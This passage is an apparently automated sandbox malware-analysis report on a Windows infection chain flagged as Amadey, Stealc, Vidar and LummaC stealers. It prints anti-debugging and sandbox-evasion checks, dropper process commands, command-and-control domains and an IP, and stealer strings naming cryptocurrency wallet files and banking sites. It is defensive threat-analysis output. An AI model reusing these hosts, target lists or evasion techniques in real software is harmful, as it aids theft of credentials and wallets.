Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 36030a5366.exe, 00000020.00000002.2586073868.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 1e42688e0b.exe, 0000001E.00000002.2626591631.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWjx
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000001.00000002.1714552724.0000000000E80000.00000040.00000001.01000000.00000003.sdmp, DocumentsIDGIJEGHDA.exe, 00000015.00000002.1761688347.000000000034C000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.1801718678.000000000032C000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000017.00000002.1801657469.000000000032C000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 0000001B.00000002.2608019066.000000000032C000.00000040.00000001.01000000.0000000D.sdmp, fd5d5b30e9.exe, 0000001D.00000002.2624904987.0000000000AF9000.00000040.00000001.01000000.0000000E.sdmp, 1e42688e0b.exe, 0000001E.00000002.2607868144.0000000000957000.00000040.00000001.01000000.0000000F.sdmp, 36030a5366.exe, 00000020.00000002.2579839025.00000000012E0000.00000040.00000001.01000000.00000010.sdmp, 1e42688e0b.exe, 00000026.00000002.2607769388.0000000000957000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsIDGIJEGHDA.exe

Code function: 21_2_04F10869 Start: 04F108DE End: 04F108C4

21_2_04F10869

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIDGIJEGHDA.exe

Code function: 21_2_04F108F3 rdtsc

21_2_04F108F3

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D09AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6D09AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_0016652B mov eax, dword ptr fs:[00000030h]		27_2_0016652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_0016A302 mov eax, dword ptr fs:[00000030h]		27_2_0016A302

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D09AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6D09AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 36030a5366.exe PID: 1008, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 1e42688e0b.exe, 0000001E.00000003.2575374868.00000000058EB000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-1-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1:458225,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-4-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeShoppingProductTrackingAlertSettings":{"enableFeatures":["msShoppingExp50"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enable

LummaC encrypted strings found

Source: 1e42688e0b.exe, 0000001E.00000002.2607161765.0000000000771000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: 1e42688e0b.exe, 0000001E.00000002.2607161765.0000000000771000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: 1e42688e0b.exe, 0000001E.00000002.2607161765.0000000000771000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: peepburry828.sbs
Source: 1e42688e0b.exe, 0000001E.00000002.2607161765.0000000000771000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: p10tgrace.sbs
Source: 1e42688e0b.exe, 0000001E.00000002.2607161765.0000000000771000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDGIJEGHDA.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDGIJEGHDA.exe "C:\Users\user\DocumentsIDGIJEGHDA.exe"
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe "C:\Users\user~1\AppData\Local\Temp\1007095001\fd5d5b30e9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe "C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe "C:\Users\user~1\AppData\Local\Temp\1007105001\36030a5366.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe "C:\Users\user~1\AppData\Local\Temp\1007106001\1e1f95e037.exe"

Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D0E4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

1_2_6D0E4760

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CFC1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

1_2_6CFC1C30

Source: 1e1f95e037.exe, 00000021.00000002.2607874602.0000000000252000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, file.exe, 00000001.00000002.1714552724.0000000000E80000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Z(Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D09AE71 cpuid

1_2_6D09AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D09A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_6D09A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 27_2_001365E0 LookupAccountNameA,

27_2_001365E0

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CFE8390 NSS_GetVersion,

1_2_6CFE8390

Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 27.2.skotes.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DocumentsIDGIJEGHDA.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.1760251445.0000000000151000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1801585613.0000000000131000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1799439345.0000000000131000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.1759202166.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1719674927.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2607160186.0000000000131000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2226939126.0000000005160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1758850070.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000021.00000003.2563544731.0000000000B23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2623729686.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1e1f95e037.exe PID: 8648, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 1e42688e0b.exe PID: 7192, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000001.00000003.1324485561.0000000005460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1717072391.000000000177E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2530441716.00000000058A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1714173625.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2579317414.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2586073868.00000000019DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 36030a5366.exe PID: 1008, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6396, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Electrum-LTC\wallets\.?
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113s\user\AppData\Roaming\\ElectronCash\wallets\\.b
Source: file.exe, 00000001.00000002.1714173625.0000000000B6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tng\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\.
Source: file.exe, 00000001.00000002.1714173625.0000000000B6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
